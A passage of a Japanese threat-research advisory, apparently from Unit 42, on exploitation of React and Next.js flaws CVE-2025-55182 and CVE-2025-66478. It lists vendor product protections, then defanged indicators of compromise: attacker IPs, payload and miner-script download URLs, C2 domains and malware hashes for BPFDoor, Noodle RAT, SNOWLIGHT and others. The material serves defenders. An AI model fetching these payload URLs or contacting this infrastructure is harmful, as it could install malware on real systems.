(Next.js)<\/a> \u7528\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u30d1\u30c3\u30af\u3068\u30d7\u30ec\u30a4\u30d6\u30c3\u30af\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u30d7\u30ec\u30a4\u30d6\u30c3\u30af\u306f\u4ee5\u4e0b\u306e\u30bf\u30b9\u30af\u3092\u81ea\u52d5\u5316\u3057\u307e\u3059\uff1a<\/p>\n<ul>\n<li>Unit 42 \u306e\u8a18\u4e8b\u304b\u3089\u306e\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc (IOC) \u306e\u53ce\u96c6<\/li>\n<li>XQL \u30af\u30a8\u30ea\u306b\u3088\u308b\u3001\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306e\u60aa\u7528\u3092\u793a\u3059\u7591\u308f\u3057\u3044\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306e\u691c\u51fa<\/li>\n<li>\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306e\u8abf\u67fb\u306b\u3088\u308b\u3001\u8106\u5f31\u6027\u306b\u95a2\u9023\u3059\u308b\u60aa\u610f\u306e\u3042\u308b\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u306e\u7279\u5b9a<\/li>\n<li>XQL \u30af\u30a8\u30ea\u306b\u3088\u308b\u60aa\u610f\u306e\u3042\u308b\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u306e\u30cf\u30f3\u30c6\u30a3\u30f3\u30b0<\/li>\n<li>\u4fb5\u5bb3\u3055\u308c\u305f React \u304a\u3088\u3073 Next.js \u30b5\u30fc\u30d0\u30fc\u306e\u9694\u96e2 (\u30a2\u30ca\u30ea\u30b9\u30c8\u306e\u627f\u8a8d\u304c\u5fc5\u8981)<\/li>\n<li>\u60aa\u610f\u306e\u3042\u308b\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u306e\u30d6\u30ed\u30c3\u30af<\/li>\n<li>\u7de9\u548c\u7b56\u306e\u63a8\u5968\u4e8b\u9805\u306e\u63d0\u4f9b<\/li>\n<\/ul>\n<h3><a id=\"post-167641-_iostedsf874i\"><\/a><strong>Cortex Xpanse<\/strong><\/h3>\n<p><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XPANSE\" target=\"_blank\" rel=\"noopener\">Cortex Xpanse<\/a> \u306f\u3001\u30d1\u30d6\u30ea\u30c3\u30af\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u3067\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u30c7\u30d0\u30a4\u30b9\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u7279\u5b9a\u3057\u3001\u9632\u5fa1\u8005\u306b\u305d\u306e\u7d50\u679c\u3092\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3059\u308b\u3088\u3046\u306b\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u304a\u5ba2\u69d8\u306f\u3001Vercel Next.js Attack Surface Rule \u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u3053\u3068\u3067\u3001\u6f5c\u5728\u7684\u306b\u30ea\u30b9\u30af\u306e\u3042\u308b\u8cc7\u7523\u306b\u5bfe\u3059\u308b\u30a2\u30e9\u30fc\u30c8\u3092\u6709\u52b9\u306b\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001Xpanse \u306f CVE-2025-55182 \u3092\u5bfe\u8c61\u3068\u3057\u305f\u30a2\u30bf\u30c3\u30af\u30b5\u30fc\u30d5\u30a7\u30b9\u30c6\u30b9\u30c8\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30c6\u30b9\u30c8\u306f\u3001Linux \u304a\u3088\u3073 Windows \u30b7\u30b9\u30c6\u30e0\u306e\u4e21\u65b9\u306b\u5bfe\u5fdc\u3057\u305f\u7121\u5bb3\u306a\u30b3\u30de\u30f3\u30c9\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u8a66\u307f\u308b RCE \u76f4\u63a5\u30c1\u30a7\u30c3\u30af\u306b\u3088\u3063\u3066\u3001\u8106\u5f31\u6027\u3092\u691c\u8a3c\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u6ce8\u76ee\u3059\u3079\u304d\u306f\u3001\u3053\u308c\u3089\u306e React \u304a\u3088\u3073 Next.js \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u8a73\u7d30\u3092\u516c\u306b\u516c\u958b\u3057\u3066\u3044\u306a\u3044\u305f\u3081\u3001\u3053\u308c\u3089\u306e\u691c\u51fa\u306f\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5f37\u529b\u306a\u6307\u6a19\u3067\u306f\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u691c\u51fa\u306f\u3001ASM \u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u8cfc\u5165\u3057\u305f Cortex XSIAM \u306e\u304a\u5ba2\u69d8\u3082\u5229\u7528\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<h3><a id=\"post-167641-_5z9iswz7fsb2\"><\/a><strong>Cortex Cloud<\/strong><\/h3>\n<p><a href=\"https:\/\/www.google.com\/search?q=https:\/\/docs-cortex.paloaltonetworks.com\/p\/Cortex%2BCLOUD\" target=\"_blank\" rel=\"noopener\">Cortex Cloud<\/a> \u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30e9\u30f3\u30c9\u30b9\u30b1\u30fc\u30d7\u5168\u4f53\u306b\u304a\u3051\u308b CVE-2025-55182 \u304a\u3088\u3073 CVE-2025-66478 \u306e\u7bc4\u56f2\u3092\u8fc5\u901f\u306b\u7279\u5b9a\u3059\u308b\u305f\u3081\u306e\u5305\u62ec\u7684\u306a ASPM \u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u306e SBOM \u53ef\u8996\u5316\u3092\u901a\u3058\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u306f\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u30a4\u30f3\u30d9\u30f3\u30c8\u30ea\u3092\u5373\u5ea7\u306b\u30af\u30a8\u30ea\u3057\u3001\u8106\u5f31\u306a React (\u30d0\u30fc\u30b8\u30e7\u30f3 19.0\u301c19.2) \u304a\u3088\u3073 Next.js (\u30d0\u30fc\u30b8\u30e7\u30f3 15.x\u301c16.x) \u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u7279\u5b9a\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u30d4\u30f3\u30dd\u30a4\u30f3\u30c8\u3067\u7279\u5b9a\u3067\u304d\u307e\u3059\u3002\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e Operational Risk \u30e2\u30c7\u30eb\u306f\u3001\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306e\u5065\u5168\u6027\u3068\u30d5\u30e9\u30b0\u4ed8\u3051\u3055\u308c\u305f\u30ea\u30b9\u30af\u3092\u8a55\u4fa1\u3059\u308b\u3053\u3068\u3067\u3001\u512a\u5148\u9806\u4f4d\u4ed8\u3051\u3092\u3055\u3089\u306b\u652f\u63f4\u3057\u307e\u3059\u3002\u91cd\u8981\u306a\u70b9\u3068\u3057\u3066\u3001\u30c1\u30fc\u30e0\u306f\u4e88\u9632\u512a\u5148\u306e\u30ac\u30fc\u30c9\u30ec\u30fc\u30eb\u3092\u5f37\u5236\u3057\u3066\u3001\u3053\u308c\u3089\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u542b\u3080\u30d3\u30eb\u30c9\u3092\u81ea\u52d5\u7684\u306b\u30d6\u30ed\u30c3\u30af\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u8a8d\u53ef\u3055\u308c\u3066\u3044\u306a\u3044\u3001\u307e\u305f\u306f\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u306a\u3044 Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u5b9f\u88c5\u306b\u4f9d\u5b58\u3059\u308b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u5c55\u958b\u3055\u308c\u308b\u3053\u3068\u306f\u306a\u304f\u306a\u308a\u3001RCE \u30d9\u30af\u30c8\u30eb\u304c\u74b0\u5883\u306b\u4fb5\u5165\u3059\u308b\u306e\u3092\u52b9\u679c\u7684\u306b\u963b\u6b62\u3057\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-167641-_jszh3uqmtndi\"><\/a><strong>Prisma Cloud<\/strong><\/h3>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/prisma\/cloud\" target=\"_blank\" rel=\"noopener\">Prisma Cloud<\/a> \u306f\u3001\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u3001\u30ec\u30b8\u30b9\u30c8\u30ea\u3001\u304a\u3088\u3073\u30e9\u30f3\u30bf\u30a4\u30e0\u74b0\u5883\u5185\u306e\u3053\u308c\u3089\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u5b58\u5728\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30ca\u30fc\u306f\u3001CVE-2025-55182 \u304a\u3088\u3073 CVE-2025-66478 \u306b\u95a2\u9023\u3059\u308b\u5f71\u97ff\u3092\u53d7\u3051\u308b react-server \u304a\u3088\u3073 next \u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u4f7f\u7528\u3092\u5177\u4f53\u7684\u306b\u8b58\u5225\u3057\u307e\u3059\u3002\u691c\u51fa\u4ee5\u5916\u306b\u3082\u3001\u3053\u308c\u3089\u306e\u9ad8\u6df1\u523b\u5ea6\u306e\u7d50\u679c\u304c\u691c\u51fa\u3055\u308c\u305f\u5834\u5408\u306b\u30d3\u30eb\u30c9\u3068\u5c55\u958b\u3092\u30a2\u30af\u30c6\u30a3\u30d6\u306b\u30d6\u30ed\u30c3\u30af\u3059\u308b\u5f37\u5236\u30eb\u30fc\u30eb\u3092\u8a2d\u5b9a\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30ea\u30b9\u30af\u3092\u8868\u9762\u5316\u3057\u3001\u91cd\u5927\u306a CVE \u306b\u5bfe\u3059\u308b\u4e0d\u5408\u683c\u3057\u304d\u3044\u5024\u3092\u5f37\u5236\u3059\u308b\u3053\u3068\u3067\u3001Prisma Cloud \u306f\u30c1\u30fc\u30e0\u304c\u5f71\u97ff\u3092\u53d7\u3051\u3084\u3059\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30ea\u30ea\u30fc\u30b9\u3092\u9632\u304e\u3001\u5f37\u5316\u3055\u308c\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u305f\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u307f\u304c\u672c\u756a\u74b0\u5883\u306b\u5230\u9054\u3059\u308b\u3053\u3068\u3092\u4fdd\u8a3c\u3057\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-167641-_o80tqm3oc17j\"><\/a>\u4fb5\u5bb3\u306e\u6307\u6a19 (Indicators of Compromise)<\/h2>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">140[.]99[.]223[.]178\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">156[.]234[.]209[.]103<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">38[.]162[.]112[.]141<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">45[.]32[.]158[.]54<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">46[.]36[.]37[.]85<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">47[.]84[.]79[.]46<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">95[.]169[.]180[.]135<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">45.134.174[.]235\/2.sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">45.134.174[.]235\/solra<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/46[.]36[.]37[.]85:12000\/sex[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/115[.]42[.]60[.]223:61236\/slt<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/45[.]32[.]158[.]54\/5e51aff54626ef7f\/x86_64<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/115[.]42[.]60[.]223:61236\/slt<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/156[.]234[.]209[.]103:20912\/get[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/156[.]234[.]209[.]103:20913\/get[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/45[.]32[.]158[.]54\/5e51aff54626ef7f\/x86_64<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/46[.]36[.]37[.]85:12000\/sex[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/95[.]169[.]180[.]135:8443\/pamssod<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxp:\/\/res[.]qiqigece[.]top\/nginx1<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxps:\/\/raw[.]githubusercontent[.]com\/C3Pool\/xmrig_setup\/master\/setup_c3pool_miner[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">hxxps:\/\/sup001[.]oss-cn-hongkong[.]aliyuncs[.]com\/123\/python1[.]sh<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">reactcdn[.]windowserrorapis[.]com<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">res[.]qiqigece[.]top<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125<\/span><\/li>\n<\/ul>\n<h3><a id=\"post-167641-_yqvj86ujd8vn\"><\/a><strong>BPFDoor<\/strong><\/h3>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">140.99.223[.]178\/32736<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">1f3f0695c7ec63723b2b8e9d50b1838df304821fcb22c7902db1f8248a812035<\/span><\/li>\n<\/ul>\n<h3><a id=\"post-167641-_6zkn16sv4w5r\"><\/a><strong>EtherRAT<\/strong><\/h3>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/193.24.123[.]68:3001\/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh<\/span><\/li>\n<\/ul>\n<h3><a id=\"post-167641-_qhax0ieapaha\"><\/a><strong>Noodle RAT<\/strong><\/h3>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">192.238.202[.]17<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">tcp:\/\/vip[.]kof97.lol:443<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/146.88.129[.]138:5511\/443nb64<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f<\/span><\/li>\n<\/ul>\n<p>SNOWLIGHT<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">115[.]42[.]60[.]223<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879<\/span><\/li>\n<\/ul>\n<h3><a id=\"post-167641-_j6oo4mc5h7um\"><\/a><strong>VSHell<\/strong><\/h3>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b<\/span><\/li>\n<\/ul>\n<h2><a id=\"post-167641-_btuqru6arn33\"><\/a>\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\n<ul>\n<li><a href=\"https:\/\/www.sysdig.com\/blog\/unc5174-chinese-threat-actor-vshell\" target=\"_blank\" rel=\"noopener\">\u4e2d\u56fd\u306e\u9032\u884c\u4e2d\u306e\u30b5\u30a4\u30d0\u30fc\u6226\u4e89\u306b\u304a\u3051\u308b UNC5174 \u306e\u9032\u5316\uff1aSNOWLIGHT \u304b\u3089 VShell \u3078<\/a> \u2013 \u30d6\u30ed\u30b0, Sysdig<\/li>\n<li><a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/initial-access-brokers-exploit-f5-screenconnect\" target=\"_blank\" rel=\"noopener\">Bringing Access Back \u2014 Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect<\/a> \u2013 Google Cloud Blog<\/li>\n<li><a href=\"https:\/\/hivepro.com\/threat-advisory\/unc5174-functions-as-an-initial-access-broker-exploiting-vulnerabilities\/\" target=\"_blank\" rel=\"noopener\">UNC5174 Functions as an Initial Access Broker, Exploiting Vulnerabilities<\/a> \u2013 Hive Pro Vulnerability Report<\/li>\n<\/ul>\n<p><em>\u592a\u5e73\u6d0b\u6a19\u6e96\u6642\u5348\u5f8c3\u664245\u5206\u66f4\u65b0\uff1a\u91cd\u8981\u306a\u66f4\u65b0\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u306f\u3001\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5\u30bb\u30af\u30b7\u30e7\u30f3\u3068\u88fd\u54c1\u30ab\u30d0\u30ec\u30c3\u30b8\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u65b0\u3057\u3044\u6d3b\u52d5\u306b\u306f\u3001\u30b9\u30ad\u30e3\u30f3\u3068\u5075\u5bdf\u3001\u30af\u30e9\u30a6\u30c9\u8a8d\u8a3c\u60c5\u5831\u306e\u7a83\u53d6\u3001\u60aa\u610f\u306e\u3042\u308b\u30c9\u30ed\u30c3\u30d1\u30fc\u30b9\u30af\u30ea\u30d7\u30c8\u3001\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30cb\u30f3\u30b0\u3001\u30d0\u30c3\u30af\u30c9\u30a2 NOODLERAT \u306e\u5c55\u958b\u3001SNOWLIGHT \u3068 VShell \u306e\u5b9f\u884c\u3001\u304a\u3088\u3073\u4e2d\u56fd\u306b\u95a2\u9023\u3059\u308b\u6d3b\u52d5\u304c\u542b\u307e\u308c\u307e\u3059\u3002<\/em><\/p>\n<p><em>2025\u5e7412\u67089\u65e5\u5348\u5f8c2\u6642 (\u592a\u5e73\u6d0b\u6a19\u6e96\u6642) \u66f4\u65b0\uff1a\u91cd\u8981\u306a\u66f4\u65b0\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u306f\u3001\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u304a\u3051\u308b\u8a73\u7d30\u306e\u8ffd\u52a0\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u65b0\u3057\u3044\u30b5\u30d6\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u306f\u3001EtherRAT \u3092\u4f7f\u7528\u3057\u305f DPRK \u30c4\u30fc\u30eb\u3068\u306e\u91cd\u8907\u3092\u5171\u6709\u3059\u308b\u6d3b\u52d5\u3001Linux \u30d0\u30c3\u30af\u30c9\u30a2\u3067\u3042\u308b BPFDoor\u3001\u304a\u3088\u3073\u65b0\u3057\u3044 Auto-color \u30d0\u30ea\u30a2\u30f3\u30c8 (Linux \u30d0\u30c3\u30af\u30c9\u30a2) \u306b\u95a2\u3059\u308b\u60c5\u5831\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u4fb5\u5bb3\u306e\u6307\u6a19 (IOC) \u30bb\u30af\u30b7\u30e7\u30f3\u3092\u66f4\u65b0\u3057\u307e\u3057\u305f\u3002\u65b0\u3057\u3044 Threat Prevention \u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002<\/em><\/p>\n<p><em>2025\u5e7412\u670810\u65e5 \u5348\u5f8c1\u664230\u5206\uff08PT\uff09\u66f4\u65b0\uff1a\u300c\u4fb5\u5bb3\u5f8c\u306e\u6d3b\u52d5 (Post-Exploitation Activity)\u300d\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u3001React2Shell \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u8a66\u307f\u306b\u95a2\u3059\u308b\u30b5\u30d6\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u307e\u305f\u3001Cortex XDR \u30d7\u30ec\u30a4\u30d6\u30c3\u30af\u306e\u30ab\u30d0\u30ec\u30c3\u30b8\u3068\u60c5\u5831\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002<\/em><\/p>\n<p><em>2025\u5e7412\u670811\u65e5\u5348\u5f8c1\u664230\u5206\uff08\u592a\u5e73\u6d0b\u6a19\u6e96\u6642\uff09\u66f4\u65b0\uff1a\u30dd\u30b9\u30c8\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c6\u30fc\u30b7\u30e7\u30f3\u6d3b\u52d5\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u306eReact2Shell\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u306b\u95a2\u3059\u308b\u30b5\u30d6\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u8ffd\u52a0\u3002Cortex Xpanse\u306e\u8a18\u8ff0\u3092\u4fee\u6b63\u3002<\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">2025\u5e7412\u670812\u65e5 \u5348\u5f8c1\u664240\u5206\uff08\u592a\u5e73\u6d0b\u6a19\u6e96\u6642\uff09\u66f4\u65b0\uff1aCL-STA-1015\u306e\u5e30\u5c5e\uff08\u30a2\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\uff09\u306b\u95a2\u3059\u308b\u8a18\u8ff0\u3092\u5909\u66f4\u3057\u3001BPFDoor\u306e\u540d\u79f0\u3092KSwapDoor\u306b\u66f4\u65b0\u3059\u308b\u3068\u3068\u3082\u306b\u8a73\u7d30\u3092\u8ffd\u52a0\u3002<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">2025\u5e7412\u670815\u65e5 